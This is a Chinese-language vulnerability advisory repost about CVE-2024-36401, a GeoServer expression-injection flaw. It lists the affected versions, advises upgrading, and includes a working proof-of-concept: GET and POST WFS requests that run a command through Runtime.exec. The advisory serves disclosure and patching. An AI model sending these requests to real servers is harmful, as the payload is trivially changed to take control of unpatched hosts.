GeoServer表达式注入漏洞

admin 2024年7月8日11:38:23评论37 views字数 1646阅读5分29秒阅读模式
0x00 漏洞编号
  • CVE-2024-36401

0x01 危险等级
  • 高危
0x02 漏洞概述

GeoServer是一个用Java编写的开源服务器,它允许用户共享、处理和编辑地理空间数据。为了互操作性而设计,它使用开源标准发布来自任何主要空间数据源的数据。

GeoServer表达式注入漏洞

0x03 漏洞详情
CVE-2024-36401
漏洞类型:表达式注入
影响:执行任意命令
简述:GeoServer存在表达式注入漏洞,攻击者可构造恶意请求执行任意java代码,控制服务器。
0x04 影响版本
  • 2.25.0 <= GeoServer < 2.25.2
  • 2.24.0 <= GeoServer < 2.24.4
  • GeoServer < 2.23.6

0x05 POC

# 基于GET方法的POCGET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1Host: {{Hostname}}Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0# 基于POST方法的POCPOST /geoserver/wfs HTTP/1.1Host: {{Hostname}}Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/xml<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='sf:archsites'/>  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference></wfs:GetPropertyValue>
https://github.com/vulhub/vulhub/blob/2111bfe468d2266575bdd0b699b9e2985abc1952/geoserver/CVE-2024-36401/README.zh-cn.md
仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本,建议用户升级到安全版本
https://geoserver.org/

原文始发于微信公众号(浅安安全):漏洞预警 | GeoServer表达式注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日11:38:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GeoServer表达式注入漏洞http://cn-sec.com/archives/2929712.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息